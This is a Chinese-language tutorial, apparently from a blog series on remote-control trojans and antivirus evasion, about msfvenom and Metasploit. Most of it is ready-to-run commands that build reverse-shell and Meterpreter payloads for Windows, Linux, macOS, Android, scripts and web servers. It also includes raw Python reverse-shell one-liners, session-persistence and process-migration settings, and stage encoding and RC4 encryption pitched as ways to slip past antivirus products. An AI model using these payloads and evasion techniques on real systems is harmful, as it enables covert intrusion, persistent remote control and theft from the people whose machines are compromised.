远控免杀专题2---msfvenom的隐藏参数
0x01 msfvenom簡介
msfvenom是msfpayload和msfencode的結合體,與2015年6月8日取代了msfpayload和msfencode。在此之后,metasploit-framwork下面的msfpayload(載荷生成器),msfencoder(編碼器),msfcli(監聽接口)都不在被支持
0x02 常規參數
輸入msfvenom可以查看所以的指令
比如想查看windows/meterpreter/reverse_tcp支持什么平臺、哪些選項,可以使用msfvenom -p windows/meterpreter/reverse_tcp --list-options
使用msfvenom --list encoders 可查看所有編碼器
可以看到評級最高的兩個encoder為cmd/powershell_base64和x86/shikata_ga_nai,其中x86/shikata_ga_nai也是免殺中使用頻率最高的一個編碼器了。
類似可用msfvenom --list命令查看的還有payloads, encoders, nops, platforms, archs, encrypt, formats。
0x03 幾個重要的監聽參數
1、防止假session
在實戰中,經常會遇到假session或者剛連接就斷開的情況,這里補充一些監聽參數,防止假死與假session。
2、防止session意外退出
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0 //默認情況下,如果一個會話將在5分鐘(300秒)沒有任何活動,那么它會被殺死,為防止此情況可將此項修改為0msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 //默認情況下,一個星期(604800秒)后,會話將被強制關閉,修改為0可永久不會被關閉3、handler 后臺持續監聽
msf exploit(multi/handler) > exploit -j -z使用exploit -j -z可在后臺持續監聽,-j為后臺任務,-z為持續監聽,使用Jobs命令查看和管理后臺任務。jobs -K可結束所有任務。
還有種比較快捷的建立監聽的方式,在msf下直接執行:
會生成監聽
4、payload持久化
一般來說使用msfvenom生成的payload會單獨開啟一個進程,這種進程很容易被發現和關閉,在后期想做持久化的時候只能再使用migrate進行。
在生成payload時可直接使用如下命令,生成的payload會直接注入到指定進程中。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o shell.exe生成的shell程序執行后會啟動兩個進程shell.exe和svchost.exe,關閉其中一個不會影響會話狀態。唯一美中不足的是svchost.exe不是system32目錄下的。
在上面的生成payload參數中:
- PrependMigrate=true PrependMigrateProc=svchost.exe 使這個程序默認會遷移到svchost.exe進程,自己測試的時候不建議到這個進程而是其他的持久進程。
- 使用-p指定使用的攻擊載荷模塊,使用-e指定使用x86/shikata_ga_nai編碼器,使用-f選項告訴MSF編碼器輸出格式為exe,-o選項指定輸出的文件名為payload.exe,保存在根目錄下。
0x04 繞過殺軟
這是green-m大佬提到的一種方式,使用reverse_https等payload時可以使用下列方法bypass部分殺軟。
生成payload:
在msf中進行如下設置,將控制端向被控制端發送的stage進行編碼
msf exploit(multi/handler) > set EnableStageEncoding true //嘗試使用不同的編碼器對stage進行編碼,可能繞過部分殺軟的查殺 EnableStageEncoding => true msf exploit(multi/handler) > set stageencoder x86/fnstenv_mov Stageencoder => x64/xor msf exploit(multi/handler) > set stageencodingfallback false stageencodingfallback => false同樣,使用reverse_tcp_rc4也有同樣的效果,而且不能設置stageencoder選項,更穩定更方便。
msfvenom -p windows/meterpreter/reverse_tcp_rc4 lhost=10.211.55.2 lport=3333 RC4PASSWORD=tidesec -f c利用rc4對傳輸的數據進行加密,密鑰在生成時指定,在監聽的服務端設置相同的密鑰。就可以在symantec眼皮下執行meterpreter。
0x05 各個平臺payload生成
1、二進制
winods:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f exe > shell.exemsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe > shell.exewindows下生成32位/64位payload時需要注意:以windows/meterpreter/reverse_tcp為例,該payload默認為32位,也可使用-a x86選項指定。如果要生成64位,則payload為windows/x64/meterpreter/reverse_tcp。
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f elf > shell.elfMac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f macho > shell.machoAndroid
msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.apkmsfvenom -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 R > test.apkPowershell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1Netcat
nc正向連接
nc反向連接,監聽
msfvenom -p windows/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe> 1.exe2、Shellcode
基于Linux的Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f c基于Windows的Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f c基于Mac的Shellcode
msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f c3、腳本
Python反彈shell
msfvenom -p cmd/unix/reverse_python LHOST=10.211.55.2 LPORT=3333 -f raw > shell.pymsfvenom -a python -p python/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.pyPython正向shell
python/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.2",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'python/python3 -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(("10.211.55.2",3333))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"Bash
msfvenom -p cmd/unix/reverse_bash LHOST=10.211.55.2 LPORT=3333 -f raw > shell.shPerl
msfvenom -p cmd/unix/reverse_perl LHOST=10.211.55.2 LPORT=3333 -f raw > shell.plLua
msfvenom -p cmd/unix/reverse_lua LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.luaRuby
msfvenom -p ruby/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.rb4、Web
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.phpASPX
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f aspx -o shell.aspxASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f asp > shell.aspJSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.jspWAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f war > shell.warnodejs
msfvenom -p nodejs/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.js0x06、Handlers
use exploit/multi/handler set PAYLOAD <Payload name> set LHOST 10.211.55.2 set LPORT 3333 set ExitOnSession false exploit -j -z0x07 msf命令自動補全
msfvenom參數和命令很多,各種payload和encoder經常讓人眼花繚亂,特別是對英語不好的人來說有些命令可能很容易忘記。所以Green_m大佬寫了一個zsh插件,可以自動化的補全msfvenom命令,有了它媽媽再也不用擔心我會忘記msfvenom命令了!
安裝如下:
0x08 參考資料
msfvenom 進階:https://klionsec.github.io/2017/03/08/msfvenom-advanced/
How to use msfvenom:https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom
msfvenom 使用方法簡單介紹:http://www.onebug.org/testing/161.html
Bypass AV meterpreter免殺技巧:https://green-m.me/2016/11/15/meterpreter-bypass-av/
總結
以上是生活随笔為你收集整理的远控免杀专题2---msfvenom的隐藏参数的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: dnf里巴卡尔之城第4个房间怎么打
- 下一篇: 远控免杀专题3---msf自免杀